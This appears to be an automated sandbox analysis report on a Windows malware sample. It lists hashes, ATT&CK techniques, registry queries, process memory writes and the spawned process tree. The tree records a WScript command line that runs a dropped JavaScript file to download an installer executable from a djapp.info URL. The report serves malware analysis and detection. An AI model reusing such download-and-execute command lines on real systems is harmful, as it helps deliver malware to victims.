8e0e09a822ec9d53a00dbb53cb8124d187d76d07e30bc97309c8f8861d6cc620

General

Target
a374b6b67412b126076128e9100c2527_JaffaCakes118.exe
Size 184KB
Sample240613-ccec5azfrh
SHA256 8e0e09a822ec9d53a00dbb53cb8124d187d76d07e30bc97309c8f8861d6cc620
MD5 a374b6b67412b126076128e9100c2527
SHA1 3f2bdeb5b5c68e96dc0fbf2184d4ec4353b13eee
SHA512 880c96100e83f848de132ef2a04d09771dc48c1c40bc42c49a888af4db4f160d847a3ac05ca1731873f7f6dd3e3477a1a894b740a8c407082886f765ec599161
SSDEEP 3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO39:/7BSH8zUB+nGESaaRvoB7FJNndnQ
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
6	712	WScript.exe
31	4336	WScript.exe
37	3384	WScript.exe
51	416	WScript.exe
58	3640	WScript.exe
59	3640	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	a374b6b67412b126076128e9100c2527_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\Local Settings	a374b6b67412b126076128e9100c2527_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3420 wrote to memory of 712	3420	a374b6b67412b126076128e9100c2527_JaffaCakes118.exe	92
PID 3420 wrote to memory of 712	3420	a374b6b67412b126076128e9100c2527_JaffaCakes118.exe	92
PID 3420 wrote to memory of 712	3420	a374b6b67412b126076128e9100c2527_JaffaCakes118.exe	92
PID 3420 wrote to memory of 4336	3420	a374b6b67412b126076128e9100c2527_JaffaCakes118.exe	95
PID 3420 wrote to memory of 4336	3420	a374b6b67412b126076128e9100c2527_JaffaCakes118.exe	95
PID 3420 wrote to memory of 4336	3420	a374b6b67412b126076128e9100c2527_JaffaCakes118.exe	95
PID 3420 wrote to memory of 3384	3420	a374b6b67412b126076128e9100c2527_JaffaCakes118.exe	96
PID 3420 wrote to memory of 3384	3420	a374b6b67412b126076128e9100c2527_JaffaCakes118.exe	96
PID 3420 wrote to memory of 3384	3420	a374b6b67412b126076128e9100c2527_JaffaCakes118.exe	96
PID 3420 wrote to memory of 416	3420	a374b6b67412b126076128e9100c2527_JaffaCakes118.exe	98
PID 3420 wrote to memory of 416	3420	a374b6b67412b126076128e9100c2527_JaffaCakes118.exe	98
PID 3420 wrote to memory of 416	3420	a374b6b67412b126076128e9100c2527_JaffaCakes118.exe	98
PID 3420 wrote to memory of 3640	3420	a374b6b67412b126076128e9100c2527_JaffaCakes118.exe	99
PID 3420 wrote to memory of 3640	3420	a374b6b67412b126076128e9100c2527_JaffaCakes118.exe	99
PID 3420 wrote to memory of 3640	3420	a374b6b67412b126076128e9100c2527_JaffaCakes118.exe	99

C:\Users\Admin\AppData\Local\Temp\a374b6b67412b126076128e9100c2527_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\a374b6b67412b126076128e9100c2527_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3420
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufCD43.js" http://www.djapp.info/?domain=GsAquApEfH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufCD43.exe
  2⤵
  - Blocklisted process makes network request
  PID:712
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufCD43.js" http://www.djapp.info/?domain=GsAquApEfH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufCD43.exe
  2⤵
  - Blocklisted process makes network request
  PID:4336
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufCD43.js" http://www.djapp.info/?domain=GsAquApEfH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufCD43.exe
  2⤵
  - Blocklisted process makes network request
  PID:3384
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufCD43.js" http://www.djapp.info/?domain=GsAquApEfH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufCD43.exe
  2⤵
  - Blocklisted process makes network request
  PID:416
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufCD43.js" http://www.djapp.info/?domain=GsAquApEfH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufCD43.exe
  2⤵
  - Blocklisted process makes network request
  PID:3640

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3772 --field-trial-handle=2284,i,15722001240173834669,15048020084704567542,262144 --variations-seed-version /prefetch:8
1⤵
PID:1560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

fufCD43.js

Path C:\Users\Admin\AppData\Local\Temp\fufCD43.js
Size 3KB
SHA256 a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
MD5 3813cab188d1de6f92f8b82c2059991b
SHA1 4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA512 83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
MD5 SHA1 SHA512

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